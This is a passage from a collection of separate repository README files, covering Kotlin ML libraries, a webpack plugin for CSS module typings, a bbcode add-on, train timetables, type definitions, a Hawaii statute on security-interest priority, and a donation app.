[Kotlin API](https://haifengl.github.io/api/kotlin/smile-kotlin/index.html) along with Scala and Clojure API.
   * [Smile-NLP-kt](https://github.com/londogard/smile-nlp-kt) - a Kotlin rewrite of the Scala implicits for the natural
   language processing part of Smile in the format of extension functions and interfaces.

* [Apache Commons Math](https://commons.apache.org/proper/commons-math/) - a general math, statistics, and machine learning
library for Java

* [NM Dev](https://nm.dev/) - a Java mathematical library that covers all of classical mathematics.

* [OptaPlanner](https://www.optaplanner.org/) - a solver utility for optimization planning problems

* [Charts](https://github.com/HanSolo/charts) - a scientific JavaFX charting library in development

* [Apache OpenNLP](https://opennlp.apache.org/) - a machine learning based toolkit for the processing of natural language text

* [CoreNLP](https://stanfordnlp.github.io/CoreNLP/) - a natural language processing toolkit

* [Apache Mahout](https://mahout.apache.org/) - a distributed framework for regression, clustering and recommendation

* [Weka](https://www.cs.waikato.ac.nz/ml/index.html) - a collection of machine learning algorithms for data mining tasks

* [Tablesaw](https://github.com/jtablesaw/tablesaw) - a Java dataframe. It includes a visualization library based on Plot.ly

If this list doesn't cover your needs, you can find more options in the
**[Kotlin Machine Learning Demos](https://github.com/thomasnield/kotlin-machine-learning-demos)** GitHub repository with showcases from Thomas Nield.

repository: JetBrains/kotlin-web-site

repo_name: JetBrains/kotlin-web-site


text:
⚠ **This project is no longer maintained! We recommend you use a separate tool to build type definitions from the CSS modules.**

* * *

# typed-css-modules-webpack-plugin ![Node.js CI](https://github.com/dropbox/typed-css-modules-webpack-plugin/workflows/Node.js%20CI/badge.svg)

This is a Webpack plugin to generate TypeScript typing declarations for a TypeScript + CSS Modules
project. The plugin generates `.css.d.ts` file co-located with the corresponding `.css` file before
compilation phase so all CSS imports in TypeScript source code type check.

This plugin is different from [typings-for-css-modules-loader][1] and [dts-css-modules-loader][2] in
that it generates the typings **before** loaders process source files during the compilation. That
means your TypeScript loader will type check the **up-to-date** typing definitions of your CSS modules.

# Installation

```
yarn add --dev typed-css-modules-webpack-plugin
# Or if you use npm
npm install --save-dev typed-css-modules-webpack-plugin
```

# Usage

A minimal TypeScript + CSS Modules Webpack configuration would look like this:

```javascript
const path = require('path');
const {TypedCssModulesPlugin} = require('typed-css-modules-webpack-plugin');

module.exports = {
  entry: './src/index.ts',
  output: {
    path: path.resolve(__dirname, 'dist'),
    filename: 'bundle.js',
  },
  module: {
    rules: [
      {
        test: /\.tsx?$/,
        loader: 'ts-loader',
      },
      {
        test: /\.css$/,
        use: [
          'style-loader',
          // Use CSS Modules
          {
            loader: 'css-loader',
            options: {
              modules: true,
            },
          },
        ],
      },
    ],
  },
  // Generate typing declarations for all CSS files under `src/` directory.
  plugins: [
    new TypedCssModulesPlugin({
      globPattern: 'src/**/*.css',
    }),
  ],
};
```

Other than emitting the JS bundle, the build would produce the side-effect of generating `.css.d.ts`
files for all `.css` files in `src/` directory.

# Options

The available options for the plugin are:

## `globPattern: string`

This is the glob pattern used to match CSS Modules in the project. The plugin only generates `.d.ts`
for the matching CSS files. See [node-glob](https://github.com/isaacs/node-glob) for the pattern
syntax.

## `postCssPlugins?: Plugin[] | (defaults: Plugin[]) => Plugin[]`

This field is optional. If specified, the plugin would use the specified PostCSS plugin to transform
CSS files instead of the default
[`css-modules-loader-core`](https://github.com/css-modules/css-modules-loader-core) plugins.

If a function is supplied, it will be called with the default plugin list. This is useful if you
chain a `postcss-loader` before `css-loader` for some custom transformations. For example:

```javascript
// In CSS rules
[
  // ...
  {
    loader: 'css-loader',
    options: {
      modules: true,
      importLoaders: 1,
    },
  },
  // Some PostCSS transformations applied before css-loader
  {
    loader: 'postcss-loader',
    options: {
      plugins: () => [require('postcss-theme')({themePath: './theme'})],
    },
  },
];
```

Now to ensure CSS Modules recognize the custom syntax, we can inject the same transform in the
plugin options:

```javascript
new TypedCSSModulesPlugin({
  globPattern: '**/*.css',
  postCssPlugins: defaultPlugins => [
    require('postcss-theme')({themePath: './theme'}),
    ...defaultPlugins,
  ],
});
```

## `camelCase?: boolean`

This field is optional. When set to `true` the CSS field definitions will be emitted using camel case naming conventions. When `undefined` or `false` the CSS field definitions will be emitted verbatim.

## `rootDir?: string`

This field is optional. Project root directory (default: `process.cwd()`).

## `searchDir?: string`

This field is optional. Directory which includes target `*.css` files (default: `'./'`).

## `outDir?: string`

This field is optional. Output directory (default: `option.searchDir`).

# License

Copyright (c) 2018 Dropbox, Inc.

Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in
compliance with the License. You may obtain a copy of the License at

```
http://www.apache.org/licenses/LICENSE-2.0
```

Unless required by applicable law or agreed to in writing, software distributed under the License is
distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied. See the License for the specific language governing permissions and limitations under the
License.

[1]: https://github.com/Jimdo/typings-for-css-modules-loader
[2]: https://github.com/Megaputer/dts-css-modules-loader

gha_language: TypeScript


text:
##HTML bbcode

###Introduction
Reintroduces the HTML bbcode tag.

**Even though the HTML bbcode can be used only by administrators, it is a potential security risk!**

Consider the creatio of a bbcode specific for the effect you want to obtain.

###License
This Modifications Source Code is subject to the terms of [The BSD License](http://opensource.org/licenses/BSD-3-Clause)

### Changelog
  * 1.0 - Initial release

repository: interlab/elk-html-bbc

repo_name: interlab/elk-html-bbc


text:
# Surfliner 2.3

Bring the Surf Line to life with a full population of long-distance, regional,
and commuter trains. These timetables include all passenger service between San
Luis Obispo, Los Angeles, and San Diego as of August 2018, the latest date for
which Amtrak GTFS data is available:

* Amtrak (Pacific Surfliner/Coast Starlight/Southwest Chief)
* Metrolink LA-Ventura (Ventura County/Antelope Valley)
* Metrolink LA-Oceanside (Orange County/91-Perris Valley/Inland Empire)
* Coaster

Based on the version 2.3 upgrade of the route by Brian Smolke.

#### Timetables

* [All LOSSAN (Amtrak/Metrolink/Coaster)](https://web.archive.org/web/20180701055016/https://www.metrolinktrains.com/globalassets/schedules/lossan-timetable.pdf)

#### Errata

* You **must** use a testing build of Open Rails. The Amtrak timetable errors out
  with version 1.3.1. It works as of X1.3.1-123-g332ddb9c.
* Surfliner, Metrolink, and Coaster trains use push-pull operation. For these
  trains, you **must** use a consist with a drivable cab at either end.
* At Union Station, Surfliner trains reverse direction to continue onwards to San
  Luis Obispo or San Diego. To change cabs, set the reverser to neutral and press
  Ctrl-E.
* Orange County Line trains originate at Oxnard instead of Montalvo (East
  Ventura). This is because the dispatcher won't allow trains that spawn at
  Montalvo onto the mainline.

repository: YoRyan/openrails-timetables

repo_name: YoRyan/openrails-timetables


text:
# Installation
> `npm install --save @types/node-cache`

# Summary
This package contains type definitions for node-cache (https://github.com/tcs-de/nodecache).

# Details
Files were exported from https://www.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node-cache

Additional Details
 * Last updated: Wed, 29 Nov 2017 01:09:44 GMT
 * Dependencies: events, node
 * Global values: none

# Credits
These definitions were written by Ilya Mochalov <https://github.com/chrootsu>, Daniel Thunell <https://github.com/dthunell>, Ulf Seltmann <https://github.com/useltmann>.

repository: mabels/npm-prebuilder

repo_name: mabels/npm-prebuilder


text:
---
hrs_structure:
  division: '2'
  volume: '11'
  title: '27'
  chapter: '490'
  section: '490:9-322'
type: hrs_section
tags:
  - Business
menu:
  hrs:
    identifier: HRS_0490-0009-0322
    parent: HRS0490
    name: '490:9-322 Priorities among conflicting security interests in'
weight: 78565
title: Priorities among conflicting security interests in
full_title: '490:9-322 Priorities among conflicting security interests in'
---
**§490:9-322 Priorities among conflicting security interests in and agricultural liens on same collateral.** (a) Except as otherwise provided in this section, priority among conflicting security interests and agricultural liens in the same collateral is determined according to the following rules:

(1) Conflicting perfected security interests and agricultural liens rank according to priority in time of filing or perfection. Priority dates from the earlier of the time a filing covering the collateral is first made or the security interest or agricultural lien is first perfected, if there is no period thereafter when there is neither filing nor perfection.

(2) A perfected security interest or agricultural lien has priority over a conflicting unperfected security interest or agricultural lien.

(3) The first security interest or agricultural lien to attach or become effective has priority if conflicting security interests and agricultural liens are unperfected.

(b) For the purposes [of] subsection (a)(1):

(1) The time of filing or perfection as to a security interest in collateral is also the time of filing or perfection as to a security interest in proceeds; and

(2) The time of filing or perfection as to a security interest in collateral supported by a supporting obligation is also the time of filing or perfection as to a security interest in the supporting obligation.

(c) Except as otherwise provided in subsection (f), a security interest in collateral which qualifies for priority over a conflicting security interest under section 490:9-327, 490:9-328, 490:9-329, 490:9-330, or 490:9-331 also has priority over a conflicting security interest in:

(1) Any supporting obligation for the collateral; and

(2) Proceeds of the collateral if:

(A) The security interest in proceeds is perfected;

(B) The proceeds are cash proceeds or of the same type as the collateral; and

(C) In the case of proceeds that are proceeds of proceeds, all intervening proceeds are cash proceeds, proceeds of the same type as the collateral, or an account relating to the collateral.

(d) Subject to subsection (e) and except as otherwise provided in subsection (f), if a security interest in chattel paper, deposit accounts, negotiable documents, instruments, investment property, or letter-of-credit rights is perfected by a method other than filing, conflicting perfected security interests in proceeds of the collateral rank according to priority in time of filing.

(e) Subsection (d) applies only if the proceeds of the collateral are not cash proceeds, chattel paper, negotiable documents, instruments, investment property, or letter-of-credit rights.

(f) Subsections (a) through (e) are subject to:

(1) Subsection (g) and the other provisions of this part;

(2) Section 490:4-210 with respect to a security interest of a collecting bank;

(3) Section 490:5-118 with respect to a security interest of an issuer or nominated person; and

(4) Section 490:9-110 with respect to a security interest arising under article 2 or 2A.

(g) A perfected agricultural lien on collateral has priority over a conflicting security interest in or agricultural lien on the same collateral if the statute creating the agricultural lien so provides. [L 2000, c 241, pt of §1]

repository: SamMade/BlueAndKrabby

repo_name: SamMade/BlueAndKrabby


text:
# Donation
A project to link donors and patients.

Having NodeJS insalled:

To install the app run
	npm install

To start the app run
	npm start

To run tests run
	npm test

Missing requirements:
There are no features missing. The only requirement not fulfilled is having the app running live on the we,
because the free hostings that provide the services required to run the app are not so many. I have already used
my heroku and openshift accounts for other projects.

repository: npmcdn-to-unpkg-bot/donation

repo_name: npmcdn-to-unpkg-bot/donation